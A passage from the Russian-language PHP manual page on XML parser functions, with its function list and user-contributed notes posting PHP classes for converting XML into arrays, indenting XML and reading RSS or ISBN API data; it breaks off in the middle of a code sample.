  <title>About this Document</title>
  <para>
   <!-- this is a comment -->
   <?php echo 'Hi!  This is PHP version ' . phpversion(); ?>
  </para>
 </section>
</chapter>

Этот файл подключён из xmltest.xml:

Пример #3 xmltest2.xml

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY testEnt "test entity">
]>
<foo>
   <element attrib="value"/>
   &testEnt;
   <?php echo "Здесь запущен некий код PHP"; ?>
</foo>

User Contributed Notes

There are no user contributed notes for this page.


Функции парсера XML

Содержание

  • xml_error_string — Получение строки ошибки XML-анализатора
  • xml_get_current_byte_index — Получает текущий для XML-анализатора байтовый индекс
  • xml_get_current_column_number — Получает от XML-анализатора номер текущего столбца
  • xml_get_current_line_number — Получает от XML-анализатора номер текущей строки
  • xml_get_error_code — Получает код ошибки XML-анализатора
  • xml_parse_into_struct — Разбор XML-данных и помещение в массив
  • xml_parse — Запускает разбор XML-документа
  • xml_parser_create_ns — Создание XML-анализатора с поддержкой пространств имён
  • xml_parser_create — Создаёт XML-анализатор
  • xml_parser_free — Освобождение XML-анализатора
  • xml_parser_get_option — Получает значения настройки XML-анализатора
  • xml_parser_set_option — Установка значения настройки XML-анализатора
  • xml_set_character_data_handler — Установка обработчика символьных данных
  • xml_set_default_handler — Установка обработчика по умолчанию
  • xml_set_element_handler — Устанавливает обработчик начального и конечного элементов
  • xml_set_end_namespace_decl_handler — Установка обработчика выхода за пределы пространства имён
  • xml_set_external_entity_ref_handler — Установка обработчика внешних сущностей
  • xml_set_notation_decl_handler — Установка обработчика объявления условных обозначений
  • xml_set_object — Использование XML-анализатора внутри объекта
  • xml_set_processing_instruction_handler — Установка обработчика инструкций препроцессора (PI)
  • xml_set_start_namespace_decl_handler — Устанавливает обработчик входа в пределы пространства имён
  • xml_set_unparsed_entity_decl_handler — Установка обработчика неразобранных объявлений сущностей

User Contributed Notes

biuro at dso dot biz dot pl 11-Jan-2022 08:40
A class proposition that can handle very large XML files

use
<?php
$domObj = new BigXMLToArray($fileData, true);
?>

<?php
class BigXMLToArray
{
    public $array;

    public function __construct($xml, $getRoot = false) {
        $use_errors = libxml_use_internal_errors(true);
        $xmlData = simplexml_load_string($xml);
        if (false === $xmlData) {
            $message = "Failed loading XML\r\n";

            foreach(libxml_get_errors() as $error) {
                $message = "\t" . $error->message . "\r\n";
            }
            // Do something about this error message , e.g.
            // DsoMultiImporterLog::setError(['message' => $message, 'xml' => $xml], 'GLOBAL', __METHOD__);
        } else {
            $this->array = $this->xml2array($xmlData, $getRoot);
        }
        libxml_clear_errors();
        libxml_use_internal_errors($use_errors);
    }

    private function getAttributesList($xmlObject, $out = [])
    {
        if (count($xmlObject) > 1) {
            foreach ($xmlObject as $index => $node) {
                if (is_object($node)) {
                    $out[$index] = $this->getAttributesList($xmlObject);
                } else {
                    $out[$index] = $node;
                }
            }
        } else {
            foreach ($xmlObject as $index => $node) {
                if (is_object($node)) {
                    $out = $this->getAttributesList($xmlObject);
                } else {
                    $out = $node;
                }
            }
        }

        return $out;
    }

    private function xml2array($xmlObject, $isRoot = false, $out = [])
    {
        if ($isRoot) {
            $out[$xmlObject->getName()] = $this->xml2array($xmlObject, false);
        } elseif (is_array($xmlObject) || (is_object($xmlObject) && $xmlObject->count() > 0)) {
            foreach ($xmlObject->children() as $index => $node) {
                $tmp = [];
                if (is_object($node)) {
                    foreach($node->attributes() as $a => $b) {
                        if (is_object($b) ||is_array($b)) {
                            $tmp['attrib'][$a] = $this->getAttributesList((array)$b);
                        } else {
                            $tmp['attrib'][$a] = $b;
                        }
                    }
                }

                if (empty($tmp['attrib'])) {
                    $tmp = $this->xml2array($node, false);
                } else {
                    $tmp['value'] = $this->xml2array($node, false);
                }

                if (!empty($out[$index])) {
                    if (is_string($out[$index])
                        || is_numeric($out[$index])
                        || (is_array($out[$index]) && $out[$index] !== array_values($out[$index]))
                    ) {
                        $out[$index] = [$out[$index]];
                    }

                    $out[$index][] = $tmp;
                } else {
                    $out[$index] = $tmp;
                }
            }
        }
        else{
            $out = json_decode($xmlObject);

            if ($out === null and !empty((string) $xmlObject)) {
                $out = (string) $xmlObject;
            }
        }
        return $out;
    }
}
?>
filip dot rydlo at gmail dot com 18-Apr-2017 09:28
// Fix for xmlToArrayParser  .......... hope this helps somebody. :-)

// FIXED the "MULTIPLE-CALLS to callback for one string" issue of 'cdata' in  xmlToArrayParser written by:
// Glen at ITIStudios dot ca  (2012)

  private function cdata($parser, $cdata) {
    if(isset($this->pointer['cdata'])) {      // This FIXes the issue with "INCOMPLETE STRINGS" containing html-entities
      $this->pointer['cdata'] .= $cdata;
    } else {
      $this->pointer['cdata'] = $cdata;
    }
  }
anrdaemon at freemail dot ru 10-Feb-2016 06:06
You must not, never ever use utf8_encode() and utf8_decode().
If you need multibyte conversion utility, use iconv() instead. At the very least, you will get a notification, if your string can not be converted.
utf8_* crap, like other crap of this nature, is ONLY SUPPORTING ONE CONVERSION. ISO-8859-1 <=> UTF-8.
Glen at ITIStudios dot ca 15-Aug-2013 06:42
Update: concatenate element contents in function cdata()
<?php
/**
 *  XML to Associative Array Class
 *
 *  Usage:
 *     $domObj = new xmlToArrayParser($xml);
 *     $domArr = $domObj->array;
 *
 *     if($domObj->parse_error) echo $domObj->get_xml_error();
 *     else print_r($domArr);
 *
 *     On Success:
 *     eg. $domArr['top']['element2']['attrib']['var2'] => val2
 *
 *     On Error:
 *     eg. Error Code [76] "Mismatched tag", at char 58 on line 3
 */

/**
 * Convert an xml file or string to an associative array (including the tag attributes):
 * $domObj = new xmlToArrayParser($xml);
 * $elemVal = $domObj->array['element']
 * Or:  $domArr=$domObj->array;  $elemVal = $domArr['element'].
 *
 * @version  3.0
 * @param Str $xml file/string.
 */
class xmlToArrayParser {
  /** The array created by the parser can be assigned to any variable: $anyVarArr = $domObj->array.*/
  public  $array = array();
  public  $parse_error = false;
  private $parser;
  private $pointer;

  /** Constructor: $domObj = new xmlToArrayParser($xml); */
  public function __construct($xml) {
    $this->pointer =& $this->array;
    $this->parser = xml_parser_create("UTF-8");
    xml_set_object($this->parser, $this);
    xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
    xml_set_element_handler($this->parser, "tag_open", "tag_close");
    xml_set_character_data_handler($this->parser, "cdata");
    $this->parse_error = xml_parse($this->parser, ltrim($xml))? false : true;
  }

  /** Free the parser. */
  public function __destruct() { xml_parser_free($this->parser);}

  /** Get the xml error if an an error in the xml file occured during parsing. */
  public function get_xml_error() {
    if($this->parse_error) {
      $errCode = xml_get_error_code ($this->parser);
      $thisError =  "Error Code [". $errCode ."] \"<strong style='color:red;'>" . xml_error_string($errCode)."</strong>\",
                            at char ".xml_get_current_column_number($this->parser) . "
                            on line ".xml_get_current_line_number($this->parser)."";
    }else $thisError = $this->parse_error;
    return $thisError;
  }

  private function tag_open($parser, $tag, $attributes) {
    $this->convert_to_array($tag, 'attrib');
    $idx=$this->convert_to_array($tag, 'cdata');
    if(isset($idx)) {
      $this->pointer[$tag][$idx] = Array('@idx' => $idx,'@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag][$idx];
    }else {
      $this->pointer[$tag] = Array('@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag];
    }
    if (!empty($attributes)) { $this->pointer['attrib'] = $attributes; }
  }

  /** Adds the current elements content to the current pointer[cdata] array. */
  private function cdata($parser, $cdata){
    if (isset($this->pointer['cdata'])) { $this->pointer['cdata'] .= $cdata;}
    else { $this->pointer['cdata'] = $cdata; }
  }

  private function tag_close($parser, $tag) {
    $current = & $this->pointer;
    if(isset($this->pointer['@idx'])) {unset($current['@idx']);}
    $this->pointer = & $this->pointer['@parent'];
    unset($current['@parent']);
    if(isset($current['cdata']) && count($current) == 1) { $current = $current['cdata'];}
    else if(empty($current['cdata'])) {unset($current['cdata']);}
  }

  /** Converts a single element item into array(element[0]) if a second element of the same name is encountered. */
  private function convert_to_array($tag, $item) {
    if(isset($this->pointer[$tag]) && !is_array($this->pointer[$tag])){
      $content = $this->pointer[$tag];
      $this->pointer[$tag] = array((0) => $content);
      $idx = 1;
    }else if (isset($this->pointer[$tag])) {
      $idx = count($this->pointer[$tag]);
      if(!isset($this->pointer[$tag][0])) {
        foreach ($this->pointer[$tag] as $key => $value) {
            unset($this->pointer[$tag][$key]);
            $this->pointer[$tag][0][$key] = $value;
    }}}else $idx = null;
    return $idx;
  }
}
?>
Glen at ITIStudios dot ca 05-Apr-2013 07:38
Update: corrected isset() in convert_to_array() function
<?php
/**
 *  XML to Associative Array Class
 *
 *  Usage:
 *     $domObj = new xmlToArrayParser($xml);
 *     $domArr = $domObj->array;
 *
 *     if($domObj->parse_error) echo $domObj->get_xml_error();
 *     else print_r($domArr);
 *
 *     On Success:
 *     eg. $domArr['top']['element2']['attrib']['var2'] => val2
 *
 *     On Error:
 *     eg. Error Code [76] "Mismatched tag", at char 58 on line 3
 */

/**
 * Convert an xml file or string to an associative array (including the tag attributes):
 * $domObj = new xmlToArrayParser($xml);
 * $elemVal = $domObj->array['element']
 * Or:  $domArr=$domObj->array;  $elemVal = $domArr['element'].
 *
 * @version  2.0
 * @param Str $xml file/string.
 */
class xmlToArrayParser {
  /** The array created by the parser can be assigned to any variable: $anyVarArr = $domObj->array.*/
  public  $array = array();
  public  $parse_error = false;
  private $parser;
  private $pointer;

  /** Constructor: $domObj = new xmlToArrayParser($xml); */
  public function __construct($xml) {
    $this->pointer =& $this->array;
    $this->parser = xml_parser_create("UTF-8");
    xml_set_object($this->parser, $this);
    xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
    xml_set_element_handler($this->parser, "tag_open", "tag_close");
    xml_set_character_data_handler($this->parser, "cdata");
    $this->parse_error = xml_parse($this->parser, ltrim($xml))? false : true;
  }

  /** Free the parser. */
  public function __destruct() { xml_parser_free($this->parser);}

  /** Get the xml error if an an error in the xml file occured during parsing. */
  public function get_xml_error() {
    if($this->parse_error) {
      $errCode = xml_get_error_code ($this->parser);
      $thisError =  "Error Code [". $errCode ."] \"<strong style='color:red;'>" . xml_error_string($errCode)."</strong>\",
                            at char ".xml_get_current_column_number($this->parser) . "
                            on line ".xml_get_current_line_number($this->parser)."";
    }else $thisError = $this->parse_error;
    return $thisError;
  }

  private function tag_open($parser, $tag, $attributes) {
    $this->convert_to_array($tag, 'attrib');
    $idx=$this->convert_to_array($tag, 'cdata');
    if(isset($idx)) {
      $this->pointer[$tag][$idx] = Array('@idx' => $idx,'@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag][$idx];
    }else {
      $this->pointer[$tag] = Array('@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag];
    }
    if (!empty($attributes)) { $this->pointer['attrib'] = $attributes; }
  }

  /** Adds the current elements content to the current pointer[cdata] array. */
  private function cdata($parser, $cdata) { $this->pointer['cdata'] = trim($cdata); }

  private function tag_close($parser, $tag) {
    $current = & $this->pointer;
    if(isset($this->pointer['@idx'])) {unset($current['@idx']);}

    $this->pointer = & $this->pointer['@parent'];
    unset($current['@parent']);

    if(isset($current['cdata']) && count($current) == 1) { $current = $current['cdata'];}
    else if(empty($current['cdata'])) {unset($current['cdata']);}
  }

  /** Converts a single element item into array(element[0]) if a second element of the same name is encountered. */
  private function convert_to_array($tag, $item) {
    if(isset($this->pointer[$tag]) && !is_array($this->pointer[$tag])){
      $content = $this->pointer[$tag];
      $this->pointer[$tag] = array((0) => $content);
      $idx = 1;
    }else if (isset($this->pointer[$tag])) {
      $idx = count($this->pointer[$tag]);
      if(!isset($this->pointer[$tag][0])) {
        foreach ($this->pointer[$tag] as $key => $value) {
            unset($this->pointer[$tag][$key]);
            $this->pointer[$tag][0][$key] = $value;
    }}}else $idx = null;
    return $idx;
  }
}
?>
Glen at ITIStudios dot ca 02-Dec-2011 03:37
<?php
/**
 *  XML to Associative Array Class
 *
 *  Usage:
 *     $domObj = new xmlToArrayParser($xml);
 *     $domArr = $domObj->array;
 *
 *     if($domObj->parse_error) echo $domObj->get_xml_error();
 *     else print_r($domArr);
 *
 *     On Success:
 *     eg. $domArr['top']['element2']['attrib']['var2'] => val2
 *
 *     On Error:
 *     eg. Error Code [76] "Mismatched tag", at char 58 on line 3
 */

/**
 * Convert an xml file or string to an associative array (including the tag attributes):
 * $domObj = new xmlToArrayParser($xml);
 * $elemVal = $domObj->array['element']
 * Or:  $domArr=$domObj->array;  $elemVal = $domArr['element'].
 *
 * @version  2.0
 * @param Str $xml file/string.
 */
class xmlToArrayParser {
  /** The array created by the parser can be assigned to any variable: $anyVarArr = $domObj->array.*/
  public  $array = array();
  public  $parse_error = false;
  private $parser;
  private $pointer;

  /** Constructor: $domObj = new xmlToArrayParser($xml); */
  public function __construct($xml) {
    $this->pointer =& $this->array;
    $this->parser = xml_parser_create("UTF-8");
    xml_set_object($this->parser, $this);
    xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
    xml_set_element_handler($this->parser, "tag_open", "tag_close");
    xml_set_character_data_handler($this->parser, "cdata");
    $this->parse_error = xml_parse($this->parser, ltrim($xml))? false : true;
  }

  /** Free the parser. */
  public function __destruct() { xml_parser_free($this->parser);}

  /** Get the xml error if an an error in the xml file occured during parsing. */
  public function get_xml_error() {
    if($this->parse_error) {
      $errCode = xml_get_error_code ($this->parser);
      $thisError =  "Error Code [". $errCode ."] \"<strong style='color:red;'>" . xml_error_string($errCode)."</strong>\",
                            at char ".xml_get_current_column_number($this->parser) . "
                            on line ".xml_get_current_line_number($this->parser)."";
    }else $thisError = $this->parse_error;
    return $thisError;
  }

  private function tag_open($parser, $tag, $attributes) {
    $this->convert_to_array($tag, 'attrib');
    $idx=$this->convert_to_array($tag, 'cdata');
    if(isset($idx)) {
      $this->pointer[$tag][$idx] = Array('@idx' => $idx,'@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag][$idx];
    }else {
      $this->pointer[$tag] = Array('@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag];
    }
    if (!empty($attributes)) { $this->pointer['attrib'] = $attributes; }
  }

  /** Adds the current elements content to the current pointer[cdata] array. */
  private function cdata($parser, $cdata) { $this->pointer['cdata'] = trim($cdata); }

  private function tag_close($parser, $tag) {
    $current = & $this->pointer;
    if(isset($this->pointer['@idx'])) {unset($current['@idx']);}

    $this->pointer = & $this->pointer['@parent'];
    unset($current['@parent']);

    if(isset($current['cdata']) && count($current) == 1) { $current = $current['cdata'];}
    else if(empty($current['cdata'])) {unset($current['cdata']);}
  }

  /** Converts a single element item into array(element[0]) if a second element of the same name is encountered. */
  private function convert_to_array($tag, $item) {
    if(isset($this->pointer[$tag][$item])) {
      $content = $this->pointer[$tag];
      $this->pointer[$tag] = array((0) => $content);
      $idx = 1;
    }else if (isset($this->pointer[$tag])) {
      $idx = count($this->pointer[$tag]);
      if(!isset($this->pointer[$tag][0])) {
        foreach ($this->pointer[$tag] as $key => $value) {
            unset($this->pointer[$tag][$key]);
            $this->pointer[$tag][0][$key] = $value;
    }}}else $idx = null;
    return $idx;
  }
}
?>

This is supplimental information for the "class xmlToArrayParser".
This is a fully functional error free, extensively tested php class unlike the posts that follow it.

Key phrase: Fully functional, fully tested, error free XML To Array parser.

<?php
/**
 * class xmlToArrayParser
 *
  Notes:
  1. 'attrib' and 'cdata' are keys added to the array when the element contains both attributes and content.
  2. Ignores content that is not in between it's own set of tags.
  3. Don't know if it recognizes processing instructions nor do I know about processing instructions.
     <\?some_pi some_attr="some_value"?>  This is the same as a document declaration.
  4. Empty elements are not included unless they have attributes.
  5. Version 2.0, Dec. 2, 2011, added xml error reporting.

  Usage:
    $domObj = new xmlToArrayParser($xml);
    $elemVal = $domObj->array['element']
    Or assign the entire array to its own variable:
    $domArr = $domObj->array;
    $elemVal = $domArr['element']

  Example:
    $xml = '<?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <top>
      <element1>element content 1</element1>
      <element2 var2="val2" />
      <element3 var3="val3" var4="val4">element content 3</element3>
      <element3 var5="val5">element content 4</element3>
      <element3 var6="val6" />
      <element3>element content 7</element3>
    </top>';

    $domObj = new xmlToArrayParser($xml);
    $domArr = $domObj->array;

    if($domObj->parse_error) echo $domObj->get_xml_error();
    else print_r($domArr);

    On Success:
    $domArr['top']['element1'] => element content 1
    $domArr['top']['element2']['attrib']['var2'] => val2
    $domArr['top']['element3']['0']['attrib']['var3'] => val3
    $domArr['top']['element3']['0']['attrib']['var4'] => val4
    $domArr['top']['element3']['0']['cdata'] => element content 3
    $domArr['top']['element3']['1']['attrib']['var5'] => val5
    $domArr['top']['element3']['1']['cdata'] => element content 4
    $domArr['top']['element3']['2']['attrib']['var6'] => val6
    $domArr['top']['element3']['3'] => element content 7

    On Error:
    Error Code [76] "Mismatched tag", at char 58 on line 3
 *
 */
?>
wolfon.AT-DoG.inbox.ru 28-Jul-2008 03:09
Finally a simple xml => array class.
Functioning like SimpleXML library.

<?php
class xml  {
    private $parser;
    private $pointer;
    public $dom;

    public function __construct($data) {
        $this->pointer =& $this->dom;
        $this->parser = xml_parser_create();
        xml_set_object($this->parser, $this);
        xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
        xml_set_element_handler($this->parser, "tag_open", "tag_close");
        xml_set_character_data_handler($this->parser, "cdata");
        xml_parse($this->parser, $data);
    }

    private function tag_open($parser, $tag, $attributes) {
        if (isset($this->pointer[$tag]['@attributes'])) {
            $content = $this->pointer[$tag];
            $this->pointer[$tag] = array(0 => $content);
            $idx = 1;
        } else if (isset($this->pointer[$tag]))
            $idx = count($this->pointer[$tag]);

        if (isset($idx)) {
            $this->pointer[$tag][$idx] = Array(
                '@idx' => $idx,
                '@parent' => &$this->pointer);
               $this->pointer =& $this->pointer[$tag][$idx];
        } else {
            $this->pointer[$tag] = Array(
                '@parent' => &$this->pointer);
            $this->pointer =& $this->pointer[$tag];
        }
        if (!empty($attributes))
            $this->pointer['@attributes'] = $attributes;
    }

    private function cdata($parser, $cdata) {
           $this->pointer['@data'] = $cdata;
    }

    private function tag_close($parser, $tag) {
        $current = & $this->pointer;
        if (isset($this->pointer['@idx']))
            unset($current['@idx']);

        $this->pointer = & $this->pointer['@parent'];

          unset($current['@parent']);
           if (isset($current['@data']) && count($current) == 1)
               $current = $current['@data'];
           else if (empty($current['@data'])||$current['@data']==0)
               unset($current['@data']);
    }
}
?>

maybe I'll do some explanations on habr
geoff at spacevs dot com 07-Nov-2007 09:13
Reading xml into a class:

<?PHP
        class XmlData {}
        $elements = array();
        $elements[] =& new XmlData();
        function startElement($parser, $name, $attrs) {
                global $elements;
                $element =& new XMLData();
                $elements[count($elements)-1]->$name =& $element;
                $elements[] =& $element;
        }
        function endElement($parser, $name) {
                global $elements;
                array_pop($elements);
        }
        function characterData($parser, $data) {
                global $elements;
                $elements[count($elements)-1]->data = $data;
        }
        $xml_parser     = xml_parser_create();
        xml_set_element_handler($xml_parser, "startElement", "endElement");
        xml_set_character_data_handler($xml_parser, "characterData");
        xml_parse($xml_parser, $xml, true);
        xml_parser_free($xml_parser);
        $request =& array_pop($elements);

        echo $request->LOGIN->USER->data;
?>
demonpants at gmail dot com 22-Oct-2007 08:59
I wanted to access the ISBN database, and was previously parsing the HTML string generated from their main page, that is until I discovered they have an API that returns XML.

So, if anyone wants to get some information from the ISBN database, all you need to do is the following.

<?php
//Search the ISBN database for the book.
            $url = "http://www.isbndb.com/api/books.xml? access_key=KEY&index1=isbn&value1=$_GET[ISBN]";
            $p = xml_parser_create();
            xml_parse_into_struct($p,file_get_contents($url),$results,$index);
            xml_parser_free($p);

            $title = $results[$index[TITLELONG][0]][value];
            $author = $results[$index[AUTHORSTEXT][0]][value];
            $publisher = $results[$index[PUBLISHERTEXT][0]][value];
?>

You will need to get an access key from isbndb.com, but it takes two seconds and is free. When you get it, replace KEY in the URL with your own key. Also, my code above will search for the book that fits the ISBN number stored in the GET variable ISBN - you can search by other parameters and return more than one result, but my example is  for a simple ISBN search.
Zvjezdan Patz 09-Sep-2007 08:22
The problem I had was I needed to generate xml on the screen for users to actually see and copy to a file.

I'm generating the xml manually from a php file and the browser kept interpreting the xml...not very helpful.

This is how you get around it:

<?php

$file  = file_get_contents("http://example.com/xml.php?whatever=$whatever");
print nl2br(htmlentities($file));

?>

Prints all my xml quite nicely.
v9 at fakehalo dot us 13-Jul-2007 08:04
I needed this for work/personal use.  Sometimes you'll have a XML string generated as one long string and no line breaks...nusoap in the case of today/work, but there are any other number of possible things that will generate these.  Anyways, this simply takes a long XML string and returns an indented/line-breaked version of the string for display/readability.

<?php
function xmlIndent($str){
    $ret = "";
    $indent = 0;
    $indentInc = 3;
    $noIndent = false;
    while(($l = strpos($str,"<",$i))!==false){
        if($l!=$r && $indent>0){ $ret .= "\n" . str_repeat(" ",$indent) . substr($str,$r,($l-$r)); }
        $i = $l+1;
        $r = strpos($str,">",$i)+1;
        $t = substr($str,$l,($r-$l));
        if(strpos($t,"/")==1){
            $indent -= $indentInc;
            $noIndent = true;
        }
        else if(($r-$l-strpos($t,"/"))==2 || substr($t,0,2)=="<?"){ $noIndent = true; }
        if($indent<0){ $indent = 0; }
        if($ret){ $ret .= "\n"; }
        $ret .= str_repeat(" ",$indent);
        $ret .= $t;
        if(!$noIndent){ $indent += $indentInc; }
        $noIndent = false;
    }
    $ret .= "\n";
    return($ret);
}
?>

(...this was only tested for what i needed at work, could POSSIBLY need additions)
geoffers [at] gmail [dot] com 30-Dec-2006 03:27
Time to add my attempt at a very simple script that parses XML into a structure:

<?php

class Simple_Parser
{
    var $parser;
    var $error_code;
    var $error_string;
    var $current_line;
    var $current_column;
    var $data = array();
    var $datas = array();

    function parse($data)
    {
        $this->parser = xml_parser_create('UTF-8');
        xml_set_object($this->parser, $this);
        xml_parser_set_option($this->parser, XML_OPTION_SKIP_WHITE, 1);
        xml_set_element_handler($this->parser, 'tag_open', 'tag_close');
        xml_set_character_data_handler($this->parser, 'cdata');
        if (!xml_parse($this->parser, $data))
        {
            $this->data = array();
            $this->error_code = xml_get_error_code($this->parser);
            $this->error_string = xml_error_string($this->error_code);
            $this->current_line = xml_get_current_line_number($this->parser);
            $this->current_column = xml_get_current_column_number($this->parser);
        }
        else
        {
            $this->data = $this->data['child'];
        }
        xml_parser_free($this->parser);
    }

    function tag_open($parser, $tag, $attribs)
    {
        $this->data['child'][$tag][] = array('data' => '', 'attribs' => $attribs, 'child' => array());
        $this->datas[] =& $this->data;
        $this->data =& $this->data['child'][$tag][count($this->data['child'][$tag])-1];
    }

    function cdata($parser, $cdata)
    {
        $this->data['data'] .= $cdata;
    }

    function tag_close($parser, $tag)
    {
        $this->data =& $this->datas[count($this->datas)-1];
        array_pop($this->datas);
    }
}

$xml_parser = new Simple_Parser;
$xml_parser->parse('<foo><bar>test</bar></foo>');

?>
Didier: dlvb ** free * fr 24-Dec-2006 09:53
Hi !

After parsing the XML and modifying it, I just add a method to rebuild the XML form the internal structure (xmlp->document).
The method xmlp->toXML writes into xmlp->XML attributes. Then, you just have to output it.
I hope it helps.

<?php
class XMLParser {

var $parser;
var $filePath;
var $document;
var $currTag;
var $tagStack;
var $XML;
var $_tag_to_close = false;
var $TAG_ATTRIBUT = 'attr';
var $TAG_DATA = 'data';

function XMLParser($path) {
    $this->parser = xml_parser_create();
    $this->filePath = $path;
    $this->document = array();
    $this->currTag =& $this->document;
    $this->tagStack = array();
    $this->XML = "";
}

function parse() {
    xml_set_object($this->parser, $this);
    xml_set_character_data_handler($this->parser, 'dataHandler');
    xml_set_element_handler($this->parser, 'startHandler', 'endHandler');

   if(!($fp = fopen($this->filePath, "r"))) {
       die("Cannot open XML data file: $this->filePath");
       return false;
     }

    while($data = fread($fp, 4096)) {
        if(!xml_parse($this->parser, $data, feof($fp))) {
            die(sprintf("XML error: %s at line %d",
                xml_error_string(xml_get_error_code($this->parser)),
             xml_get_current_line_number($this->parser)));
      }
    }

    fclose($fp);
    xml_parser_free($this->parser);

    return true;
}

function startHandler($parser, $name, $attribs) {
     if(!isset($this->currTag[$name]))
          $this->currTag[$name] = array();

     $newTag = array();
     if(!empty($attribs))
          $newTag[$this->TAG_ATTRIBUT] = $attribs;
     array_push($this->currTag[$name], $newTag);

     $t =& $this->currTag[$name];
     $this->currTag =& $t[count($t)-1];
     array_push($this->tagStack, $name);
}

function dataHandler($parser, $data) {
    $data = trim($data);

    if(!empty($data)) {
      if(isset($this->currTag[$this->TAG_DATA]))
            $this->currTag[$this->TAG_DATA] .= $data;
      else
            $this->currTag[$this->TAG_DATA] = $data;
    }
}

function endHandler($parser, $name) {
     $this->currTag =& $this->document;
     array_pop($this->tagStack);

     for($i = 0; $i < count($this->tagStack); $i++) {
          $t =& $this->currTag[$this->tagStack[$i]];
          $this->currTag =& $t[count($t)-1];
     }
}

function clearOutput () {
    $this->XML = "";
}

function openTag ($tag) {
    $this->XML.="<".strtolower ($tag);
    $this->_tag_to_close = true;
}

function closeTag () {
    if ($this->_tag_to_close) {
        $this->XML.=">";
        $this->_tag_to_close = false;
    }
}

function closingTag ($tag) {
    $this->XML.="</".strtolower ($tag).">";
}

function output_attributes ($contenu_fils) {
    foreach ($contenu_fils[$this->TAG_ATTRIBUT] as $nomAttribut => $valeur) {
        $this->XML.= " ".strtolower($nomAttribut)."=\"".$valeur."\"";
    }
}

function addData ($texte) {
// to be completed
    $ca  = array ("e", "e", "e", "a");
    $par = array ("&eacute;", "&egrave;", "&ecirc;", "agrave;");
    return htmlspecialchars(str_replace ($ca, $par, $texte), ENT_NOQUOTES);
}

function toXML ($tags="") {
    if ($tags=="") {
        $tags = $this->document;
      $this->clearOutput ();
    }

    foreach ($tags as $tag => $contenu) {
        $this->process ($tag, $contenu);
    }
}

function process ($tag, $contenu) {
     // Pour tous les TAGs
    foreach ($contenu as $indice => $contenu_fils) {
         $this->openTag ($tag);

         // Pour tous les fils (non attribut et non data)
         foreach ($contenu_fils as $tagFils => $fils) {
             switch ($tagFils) {
                 case $this->TAG_ATTRIBUT:
                         $this->output_attributes ($contenu_fils);
                        $this->closeTag ();
                         break;
                 case $this->TAG_DATA:
                        $this->closeTag ();
                         $this->XML.= $this->addData ($contenu_fils [$this->TAG_DATA]);
                         break;
                 default:
                         $this->closeTag ();
                         $this->process ($tagFils, $fils);
                         break;
             }
         }

        $this->closingTag ($tag);
    }
}

}
?>
forquan 28-Jan-2006 03:45
Here's code that will create an associative array from an xml file.  Keys are the tag data and subarrays are formed from attributes and child tags

<?php
$p =& new xmlParser();
$p->parse('/*xml file*/');
print_r($p->output);
?>

<?php
class xmlParser{
   var $xml_obj = null;
   var $output = array();
   var $attrs;

   function xmlParser(){
       $this->xml_obj = xml_parser_create();
       xml_set_object($this->xml_obj,$this);
       xml_set_character_data_handler($this->xml_obj, 'dataHandler');
       xml_set_element_handler($this->xml_obj, "startHandler", "endHandler");
   }

   function parse($path){
       if (!($fp = fopen($path, "r"))) {
           die("Cannot open XML data file: $path");
           return false;
       }

       while ($data = fread($fp, 4096)) {
           if (!xml_parse($this->xml_obj, $data, feof($fp))) {
               die(sprintf("XML error: %s at line %d",
               xml_error_string(xml_get_error_code($this->xml_obj)),
               xml_get_current_line_number($this->xml_obj)));
               xml_parser_free($this->xml_obj);
           }
       }

       return true;
   }

   function startHandler($parser, $name, $attribs){
       $_content = array();
       if(!empty($attribs))
         $_content['attrs'] = $attribs;
       array_push($this->output, $_content);
   }

   function dataHandler($parser, $data){
       if(!empty($data) && $data!="\n") {
           $_output_idx = count($this->output) - 1;
           $this->output[$_output_idx]['content'] .= $data;
       }
   }

   function endHandler($parser, $name){
       if(count($this->output) > 1) {
           $_data = array_pop($this->output);
           $_output_idx = count($this->output) - 1;
           $add = array();
           if ($_data['attrs'])
                $add['attrs'] = $_data['attrs'];
           if ($_data['child'])
                $add['child'] = $_data['child'];
           $this->output[$_output_idx]['child'][$_data['content']] = $add;
       }
   }
}
?>
Greg S 17-Nov-2005 08:56
If you need utf8_encode support and configure PHP with --disable-all you will have some trouble. Unfortunately the configure options aren't completely documented. If you need utf8 functions and have everything disabled just recompile PHP with --enable-xml and you should be good to go.
compu_global_hyper_mega_net_2 at yahoo dot com 19-Sep-2004 01:35
The documentation regarding white space was never complete I think.

The XML_OPTION_SKIP_WHITE doesn't appear to do anything.  I want to preserve the newlines in a cdata section.  Setting XML_OPTION_SKIP_WHITE to 0 or false doesn't appear to help.  My character_data_handler is getting called once for each line.  This obviously should be reflected in the documentation as well.  When/how often does the handler get called exactly?  Having to build separate test cases is very time consuming.

Inserting newlines myself in my cdata handler is no good either.  For non actual CDATA sections that cause my handler to get called, long lines are split up in multiple calls.  My handler would not be able to tell the difference whether or not the subsequent calls would be due to the fact that the data is coming from the next line or the fact that some internal buffer is long enough for it to 'flush' out and call the handler.
This behaviour also needs to be properly documented.
odders 18-Mar-2004 10:36
I wrote a simple xml parser mainly to deal with rss version 2. I found lots of examples on the net, but they were all masive and bloated and hard to manipulate.

Output is sent to an array, which holds arrays containg data for each item.

Obviously, you will have to make modifications to the code to suit your needs, but there isnt a lot of code there, so that shouldnt be a problem.

<?php

   $currentElements = array();
   $newsArray = array();

   readXml("./news.xml");

   echo("<pre>");
   print_r($newsArray);
   echo("</pre>");

   // Reads XML file into formatted html
   function readXML($xmlFile)
   {

      $xmlParser = xml_parser_create();

      xml_parser_set_option($xmlParser, XML_OPTION_CASE_FOLDING, false);
      xml_set_element_handler($xmlParser, startElement, endElement);
      xml_set_character_data_handler($xmlParser, characterData);

      $fp = fopen($xmlFile, "r");

      while($data = fread($fp, filesize($xmlFile))){
         xml_parse($xmlParser, $data, feof($fp));}

      xml_parser_free($xmlParser);

   }

   // Sets the current XML element, and pushes itself onto the element hierarchy
   function startElement($parser, $name, $attrs)
   {

      global $currentElements, $itemCount;

